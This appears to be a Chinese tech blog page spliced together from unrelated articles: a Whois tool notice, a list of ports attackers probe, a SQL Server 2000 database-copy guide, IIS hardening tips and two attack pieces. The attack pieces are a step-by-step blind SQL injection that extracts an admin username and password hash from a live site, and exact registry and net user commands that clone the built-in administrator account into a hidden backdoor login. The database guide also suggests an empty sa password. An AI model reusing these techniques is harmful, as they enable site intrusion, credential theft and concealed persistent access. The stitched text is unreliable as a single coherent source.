我把O-blog中的Whois查询程序放到网站上了,以后就可以直接查询Whois了。

  https://www.g0dspeed.com/whois

  这是O-blog的作者通过Ajax来实现的一个Whois查询程序,经测试,发现在Firebox里面不能使用。Whois可以查询域名的注册情况。如你可以查询Sina.com.cn是谁注册的,什么时候到期啊等等。

0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描:使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。

1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,缺省情况下tcpmux在这种系统中被打开。
Iris机器在发布时含有几个缺省的无密码的帐户,如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。

7 Echo 你能看到许多人们搜索Fraggle放大器时,发送到x.x.x.0和x.x.x.255的信息.
常见的一种DoS攻击是echo循环(echo-loop),攻击者伪造从一个机器发送到另一个机器的UDP数据包,而两个机器分别以它们最快的 方式回应这些数据包.(参见Chargen)另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”,它与DNS的这一端口连接以确定最近的路由。Harvest/squid cache将从3130端口发送UDP echo:“如果将cache的source_ping on选项打开,它将对原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。

11 sysstat 这是一种UNIX服务,它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全,如暴露已知某些弱点或帐 户的程序。这与UNIX系统中“ps”命令的结果相似再说一遍:ICMP没有端口,ICMP port 11通常是ICMP type=11

19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时,会发送含有垃圾字符的数据流知道连接关闭。 Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企图回应两个服务器之间的无限的往返数据通讯一个 chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载。

21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。

22 ssh PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式,许多使用RSAREF库的版本有不少 漏洞。(建议在其它端口运行ssh)还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主 机。你有时会被使用这一程序的人无意中扫描到。UDP(而不是TCP)与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632 (十六进制的0x1600)位交换后是0x0016(使进制的22)。

23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术,入侵者会找到密码。

25 smtp 攻击者(spammer)寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭,他们需要拨号连接到高带宽的e-mail服务器上,将简单 的信息传递到不同的地址。SMTP服务器(尤其是sendmail)是进入系统的最常用方法之一,因为它们必须完整的暴露于Internet且邮件的路由 是复杂的(暴露+复杂=弱点)。

53 DNS Hacker或crackers可能是试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其它通讯。因此防火墙常常过滤或记录

53端口.
需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。

67和68 Bootp和DHCP UDP上的Bootp/DHCP:通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机 器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”(man-in-middle) 攻击。客户端向68端口(bootps)广播请求配置,服务器向67端口(bootpc)广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的 IP地址。

69 TFTP(UDP) 许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件,如密码文件。它们也可用于向系统写入文件。

79 finger Hacker用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其它机器finger扫描。

98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root,信任局域网,在/tmp下建立Internet可访问的文件,LANG环境变量有缓冲区溢出。此外因为它包含整合的服务器,许多典型的HTTP 漏洞可能存在(缓冲区溢出,历遍目录等)
109 POP2 并不象POP3那样有名,但许多服务器同时提供两种服务(向后兼容)。在同一个服务器上POP3的漏洞在POP2中同样存在。

110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个(这意味着Hacker可以在真正登陆前进入系统)。成功登陆后还有其它缓冲区溢出错误。

111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常见RPC服务有: rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer,你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。

113 Ident auth 这是一个许多机器上运行的协议,用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息(会被Hacker利用)。但是它可作为许多服务的 记录器,尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务,你将会看到许多这个端口的连接请求。记住,如果你阻断这个端口客户端会感觉到在防火 墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST,着将回停止这一缓慢的连接。

119 NNTP news 新闻组传输协议,承载USENET通讯。当你链接到诸如:news://comp.security.firewalls/. 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送spam。

135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时,它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如:这个机器上运行Exchange Server吗?是什么版本?这个端口除了被用来查询服务(如使用epdump)还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。

137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息,请仔细阅读文章后面的NetBIOS一节

139 NetBIOS
File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享 自己的硬盘是可能是最常见的问题。大量针对这一端口始于1999,后来逐渐变少。2000年又有回升。一些VBS(IE5 VisualBasic Scripting)开始将它们自己拷贝到这个端口,试图在这个端口繁殖。

143 IMAP 和上面POP3的安全问题一样,许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住:一种Linux蠕虫(admw0rm)会通过这个端口繁 殖,因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后,这些漏洞变得流行起来。 Morris蠕虫以后这还是第一次广泛传播的蠕虫。这一端口还被用于IMAP2,但并不流行。已有一些报道发现有些0到143端口的攻击源于脚本。

161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中,通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于 Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。SNMP包可能会 被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名,你会看见这种包在子网内广播(cable modem, DSL)查询sysName和其它信息。

162 SNMP trap 可能是由于错误配置

177 xdmcp 许多Hacker通过它访问X-Windows控制台, 它同时需要打开6000端口。

513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。

553 CORBA
IIOP (UDP) 如果你使用cable modem或DSL VLAN,你将会看到这个端口的广播。CORBA是一种面向对象的RPC(remote procedurecall)系统。Hacker会利用这些信息进入系统。

600 Pcserver backdoor 请查看1524端口
一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统– Alan J. Rosenthal.

635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的,但基于TCP的mountd有所增加(mountd同时运行于两个端 口)。记住,mountd可运行于任何端口(到底在哪个端口,需要在端口111做portmap查询),只是Linux默认为635端口,就象NFS通常 运行于2049端口。

1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络,它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配 从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点,你可以重启机器,打开Telnet,再打开一个 窗口运行“natstat -a”,你将会看到Telnet被分配1024端口。请求的程序越多,动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍,当你浏览Web页时用 “netstat”查看,每个Web页需要一个新端口。

1025 参见1024

1026 参见1024

1080 SOCKS
这一协议以管道方式穿过防火墙,允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到 Internet。但是由于错误的配置,它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上 的计算机,从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙,常会发生上述的错误配置。在加入IRC聊天室时常会看到这 种情况。

1114 SQL
系统本身很少扫描这个端口,但常常是sscan脚本的一部分。

1243 Sub-7木马(TCP)
参见Subseven部分。

1524 ingreslock后门
许多攻击脚本将安装一个后门Shell于这个端口(尤其是那些针对Sun系统中Sendmail和RPC服务漏洞的脚本,如statd, ttdbserver和cmsd)。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图,很可能是上述原因。你可以试试Telnet到你的机器上的 这个端口,看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。

2049 NFS
NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口,但是大部分情况是安装后NFS运行于这个端口,Hacker/Cracker因而可以闭开portmapper直接测试这个端口。

3128 squid
这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看到搜索其它代理服务器的端口: 8000/8001/8080/8888。扫描这一端口的另一原因是:用户正在进入聊天室。其它用户(或服务器本身)也会检验这个端口以确定用户的机器是 否支持代理。请查看5.3节。

5632 pcAnywere
你会看到很多这个端口的扫描,这依赖于你所在的位置。当用户打开pcAnywere时,它会自动扫描局域网C类网以寻找可能得代理(译者:指 agent而不是proxy)。Hacker/cracker也会寻找开放这种服务的机器,所以应该查看这种扫描的源地址。一些搜寻pcAnywere的 扫描常包含端口22的UDP数据包。参见拨号扫描。

6776 Sub-7 artifact
这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器,而被控机器挂断时你将会看到这种情况。因此 当另一人以此IP拨入时,他们将会看到持续的,在这个端口的连接企图。(译者:即看到防火墙报告这一端口的连接企图时,并不表示你已被Sub-7控制。)

6970 RealAudio
RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。

13223 PowWow
PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成 类似心跳间隔的连接企图。如果你是一个拨号用户,从另一个聊天者手中“继承”了IP地址这种情况就会发生:好象很多不同的人在测试这一端口。这一协议使用 “OPNG”作为其连接企图的前四个字节。

17027 Conducent
这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。Conducent "adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验:阻断这一外向连接不会有任何问题,但是封掉IP 地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载:机器会不断试图解析DNS名—ads.conducent.com即IP地址 216.33.210.40 ;216.33.199.77 ;216.33.199.80 ;216.33.199.81;216.33.210.41。(译者:不知NetAnts使用的Radiate是否也有这种现象)27374 Sub-7木马(TCP) 参见Subseven部分。

30100 NetSphere木马(TCP)
通常这一端口的扫描是为了寻找中了NetSphere木马。

31337 Back Orifice “elite”
Hacker中31337读做“elite”/ei’li:t/(译者:法语,译为中坚力量,精华。即3=E, 1=L, 7=T)。因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少,其它的木马程序越来越流行。

31789 Hack-a-tack
这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马(RAT, Remote Access Trojan)。这种木马包含内置的31790端口扫描器,因此任何31789端口到317890端口的连接意味着已经有这种入侵。(31789端口是控 制连接,317890端口是文件传输连接)

32770~32900 RPC服务
Sun Solaris的RPC服务在这一范围内。详细的说:早期版本的Solaris(2.5.1之前)将portmapper置于这一范围内,即使低端口被防 火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围内的端口不是为了寻找portmapper,就是为了寻找可被攻击的已知的 RPC服务。

33434~33600 traceroute
如果你看到这一端口范围内的UDP数据包(且只在此范围之内)则可能是由于traceroute。参见traceroute部分。

41508 Inoculan
早期版本的Inoculan会在子网内产生大量的UDP通讯用于识别彼此。

很多企业用户都拥有多台SQL Server 2000服务器,为了使多台数据库服务器上的数据保持一致,我们可以将一台数据库服务器中的某个数据库移动到另外的数据库服务器中。

  下面以两台SQL Server 2000服务器为例(分别用A和B表示),介绍具体操作过程。

  1、前期准备

  首先确保这两台安装了SQL Server 2000服务器的计算机可以互相访问,并且操作者有管理员权限。假设数据库jk只在A中存在,而B中没有此数据库。然后确定两台计算机在一个域中,或者域之间有信任关系。

  提示:如果上面两个条件一个都不能满足,就需要进行如下操作:在“企业管理器”中右击数据库项,选择“属性”,进入“安全性”选项卡,勾选“身份验证”栏中的“SQL Server 和Windows”项。否则sa账号将无法使用。

  2、选择数据源

  在A中右击数据库jk,选择“所有任务→导出数据”,在出现的向导窗口中点击“下一步”,进入“选择数据源”窗口。由于在本文中数据库是在A中,所以我们保持默认设置。

  3、选择目的

  点击“下一步”,进入“选择目的”窗口。在“服务器”栏中选择B的服务器名,由于本文是在B中没有jk数据库的情况下进行操作的,所以我们必 须在“数据库”栏中选择“新建”,在出现的窗口(图1)中输入数据库名jk(也可以自由选取)。然后勾选“使用SQL Server身份验证”项,并输入管理员账号和密码。如果没有配置管理员账号,也可以输入用户名sa,密码为空。

看原大图
图 1

  4、选择复制方式

  在出现的数据库复制选项中有3个选择项(图2),下面分别说明。

看原大图
图 2

  ① “从源数据库复制表和视图”:将A数据库的表和视图导入到B数据库中,而存储过程等不会被导入。

  ② “用一条查询指定要传输的数据”:这时点击“下一步”后将显示“键入 SQL 语句”对话框,输入SQL 语句,则只有符合条件的记录才可导入到B的数据库中。

  ③“在 SQL Server 数据库之间复制对象和数据”:这时点击“下一步”后将显示“选择要传输的对象”对话框,如果数据的源和目的都是Microsoft SQL Server 数据库,则在此对话框中可以指定要复制的对象和数据。可传输的对象包括表、视图、存储过程、默认值、规则、约束、用户定义的数据类型、登录、用户、角色和 索引等。

  在这里我们选择最后一项,因为本文的目的是保持整个数据库一致。

  5、运行

  点击“下一步”,勾选所有的复选框,并在“复制数据”栏中勾选“替换现有的数据”项,点击“下一步”,勾选“立即运行”,再点击“下一步”,最后单击“完成”就可以将A中的jk数据库导入到B中。

  优点:用本文的方法我们可以使位于不同地点的数据库服务器中的数据集中在一处,便于集中管理和维护;如果某个数据库出现问题,我们可以很快将它恢复原状。

如果你已经掌握了SQL注入漏洞的一些相关的基础知识,那是不是觉得看了理论有一种想急于知道如何实际动手操作的冲动,好吧,Let’s go,这篇文章我们就来实战SQL注入,不过针对网站的数据库是ACCESS的,毕竟在国内都是用虚拟机,一般只有FTP上传权限,所以还是很有市场的。

  首先要注意的是,如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级= >显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

  1.入侵测试目标:

  前不久我们学校的一个同学做了个网站,做的还挺漂亮的,叫我去看下,我顺便对它进行了一次安全检测。文章发表前已经征得该同学的同意,请不要效仿。下面的真实网址已经被我屏蔽。

  测试网站:http://www.xxx.com/index.asp

  2.寻找可能的SQL注入点

  我们知道,一般的文章管理系统,下载系统,论坛,留言本,相册等都会有个show.asp?id= list.asp?id= news.asp?id= 什么的,其实一看就知道是调用SQL语句查询数据库并显示出来。我们不难发现这个站的新闻系统就是show.asp?id=的形式,随便点一个链接得到地 址如下:

  http://www.xxx.com/show.asp?id=474

  从这个地址就知道是通过show.asp执行SQL语句访问数据库,可想而知,SQL语句原貌大致如下:

  select * from 表名 where 字段=xx,如果这个show.asp对后面的id整型参数过滤好的话,就可能存在SQL注入漏洞。

  3.判断SQL注入是否存在

  通过上面的分析知道,要判断有没有SQL注入漏洞,就得看show.asp有没对参数过滤好,所以可以用以下步骤测试SQL注入是否存在。

  a.最简单的判断方法

  在要检测的网址后面加一个单引号:http://www.xxx.com /show.asp?id=474’

  此时show.asp中的SQL语句变成了:select * from 表名 where 字段=xx’,如果程序没有过滤好“’”的话,就会提示 show.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:

  第一:不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

  第二:由于以前存在过的1’ or ‘1’=’1漏洞,所以目前大多数程序员已经将“’“ 过滤掉,所以用" ‘"测试不到注入点,所以一般使用经典的1=1和1=2测试方法,如下:

  http://www.xxx.com /show.asp?id=474 and 1=1, show.asp运行正常,而且与http://www.xxx.com /show.asp?id=474运行结果相同,如图1:

看原大图

  http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp运行异常,(这就是经典的 1=1 1=2 判断方法)如图2:

看原大图

  这里很明显当加 and 1=1 的时候返回完全正常的页面,加 and 1=2 显示:暂时还没有文章!

  到这里基本上可以断定他存在SQL注入,至于能不能注出账号密码来,还需要更进一步的注入测试,这里只能得到SQL注入点: http://www.xxx.com/show.asp?id=474

  4.判断表是否存在

  国内的一般程序员在设计数据库的时候都会用一些特定的做为表名,字段名什么的。比如说后台管理员一般放在表admin里面,而注册的用户放在表users里,当然,只是一般,依照各程序的不同而不同。

  这个站是我同学自己写的,我还是先判断管理员表admin是否存在,在后面加上语句:and exists (select * from admin)变成http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交访问后返回的页面如图3:

看原大图

  这就说明我猜的admin表名不存在,继续猜另外的名字,这里可以参考国内常见的程序的表名,比如:admin user vote manage users 会员 用户 管理员 admin_admin userinfo bbs news system等,这个站我最后猜到的是:users,语句:and exists (select * from users)。

  5.进一步判断表里的字段是否存在

  判断字段id 是否存在,这个一般都有,自动编号。如果存在了顺便猜一下管理员的id值。

  判断存在语句:and exists(select id from users)

  判断编号语句:and exists(select id from users where id=1)

  一般管理员账号密码放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。

  由于这个站是自己写的代码,所以会有点不同,当判断是否不过你可以猜到他的对应的可能是userid,因为他表名取做user呀,把上面的id改为userid就返回了正常的页面,如图4:

看原大图

  至于这个userid值为多少,同样猜,and exists(select userid where userid=1)改变1这个数字,一直猜到页面显示正常为止。这里我猜到的是userid=11,如图5:

看原大图

  最后猜出这个继续猜出其它的字段,用户名字段最后为username,密码字段为userpwd,用到的语句分别为:and exists (select username from users)和and exists (select userpwd from users),这里就不抓图了。

  6.再进一步判断账号和密码的长度

  这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去。。。。。。当然 由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了。

  首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是

  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:

看原大图

  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。

  到此,我们得到的信息如下:

  账号username长度:4

  密码userpwd长度:16

  7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。

  格式:mid(字符串,开始位置,子串长度)

  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断 username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面 加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:

看原大图

  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。

  接着猜密码,依然二分法,就不抓图了:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

  最后得到的为:48 对应的字符就是0

  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。

  8.后台的猜解

  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也 是最为关键的一步:寻找网站管理后台。像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命 名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜 到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自 动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗,如图8:

看原大图

  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!

经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似 乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些 过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。

  首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的 500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选 择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下 的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。

  运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http:// www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行

  regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

  这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行– [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的 "1F4"修改为 IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装 IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的"1F4"修改为"3E9"后执 行

  regedit /s adam.reg

  导入该Reg文件

  然后运行

  net user IUSR_MachineName Sometips

  修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)

  OK,大功告成…

  这样,我们拥有和默认管理员一样的桌面、一样的Profile…..

  而且,当我们运行 net localgroup administrators 时,看看结果:

  C:\>net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the computer/domain

  Members

  ————————————————————————

  Administrator

  The command completed successfully.

  再看看USER2SID的输出结果:

  C:\>user2sid Administrator

  S-1-5-21-1004336348-1078145449-854245398-500

  Number of subauthorities is 5

  Domain is IDONTKNOW

  Length of SID in memory is 28 bytes

  Type of SID is SidTypeUser

  C:\>user2sid iusr_machinename

  S-1-5-21-1004336348-1078145449-854245398-1001

  Number of subauthorities is 5

  Domain is IDONTKNOW

  Length of SID in memory is 28 bytes

  Type of SID is SidTypeUser

  我想,再高明的管理员也看不到任何的异状了…而且,随便管理员改成什么密码,我照样可以用 IUSR_MachineName,密码为Sometips登陆…(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName 为其他的名字吧)

  ^_^,这算不算RootKit…

  附:

  1、感谢叮叮付出需要reinstall OS的代价…

  2、任何用以上方法进行试验所导致的系统无法使用均与偶无关,偶均不提供技术支持…

通常地,大多数Web站点的设计目标都是:以最易接受的方式,为访问者提供即时的信息访问。在过去的几年中,越来越多的黑客、病毒和蠕虫带来的安全问题严 重影响了网站的可访问性,尽管Apache服务器也常常是攻击者的目标,然而微软的Internet信息服务(IIS) Web服务器才是真正意义上的众矢之的。

  高级教育机构往往无法在构建充满活力、界面友好的网站还是构建高安全性的网站之间找到平衡点。另外,它们现在必须致力于提高网站安全性以面对缩减中的技术预算 (其实许多它们的私有部门也面临着相似的局面)。

  正因为如此,我在这里将为预算而头疼的大学IT经理们提供一些技巧,以帮助他们保护他们的IIS服务器。虽然主要是面对大学里的IT专业人员 的,但是这些技巧也基本上适用于希望通过少量的财政预算来提高安全性的IIS管理人员。实际上,这里面的一些技巧对拥有强大预算的IIS管理人员也是非常 有用的。

  首先,开发一套安全策略

  保护Web服务器的第一步是确保网络管理员清楚安全策略中的每一项制度。如果公司高层没有把服务器的安全看作是必须被保护的资产,那么保护工 作是完全没有意义的。这项工作需要长期的努力。如果预算不支持或者它不是长期IT战略的一部分,那么花费大量时间保护服务器安全的管理员将得不到管理层方 面的重要支持。

  网络管理员为各方面资源建立安全性的直接结果是什么呢?一些特别喜欢冒险的用户将会被关在门外。那些用户随后会抱怨公司的管理层,管理层人员又会去质问网络管理员究竟发生了什么。那么,网络管理员没办法建立支持他们安全工作的文档,因此,冲突发生了。

  通过标注Web服务器安全级别以及可用性的安全策略,网络管理员将能够从容地在不同的操作系统上部署各种软件工具。

  IIS安全技巧

  微软的产品一向是众矢之的,因此IIS服务器特别容易成为攻击者的靶子。搞清楚了这一点后,网络管理员必须准备执行大量的安全措施。我将要为你们提供的是一个清单,服务器操作员也许会发现这是非常有用的。

  1. 保持Windows升级:

  你必须在第一时间及时地更新所有的升级,并为系统打好一切补丁。考虑将所有的更新下载到你网络上的一个专用的服务器上,并在该机器上以Web的形式将文件发布出来。通过这些工作,你可以防止你的Web服务器接受直接的Internet访问。

  2. 使用IIS防范工具:

  这个工具有许多实用的优点,然而,请慎重的使用这个工具。如果你的Web服务器和其他服务器相互作用,请首先测试一下防范工具,以确定它已经被正确的配置,保证其不会影响Web服务器与其他服务器之间的通讯。

  3. 移除缺省的Web站点:

  很多攻击者瞄准inetpub这个文件夹,并在里面放置一些偷袭工具,从而造成服务器的瘫痪。防止这种攻击最简单的方法就是在IIS里将缺省 的站点禁用。然后,因为网虫们都是通过IP地址访问你的网站的 (他们一天可能要访问成千上万个IP地址),他们的请求可能遇到麻烦。将你真实的Web站点指向一个背部分区的文件夹,且必须包含安全的NTFS权限。

  4. 如果你并不需要FTP和SMTP服务,请卸载它们:

  进入计算机的最简单途径就是通过FTP访问。FTP本身就是被设计满足简单读/写访问的,如果你执行身份认证,你会发现你的用户名和密码都是通过明文的形式在网络上传播的。SMTP是另一种允许到文件夹的写权限的服务。通过禁用这两项服务,你能避免更多的黑客攻击。

  5. 有规则地检查你的管理员组和服务:

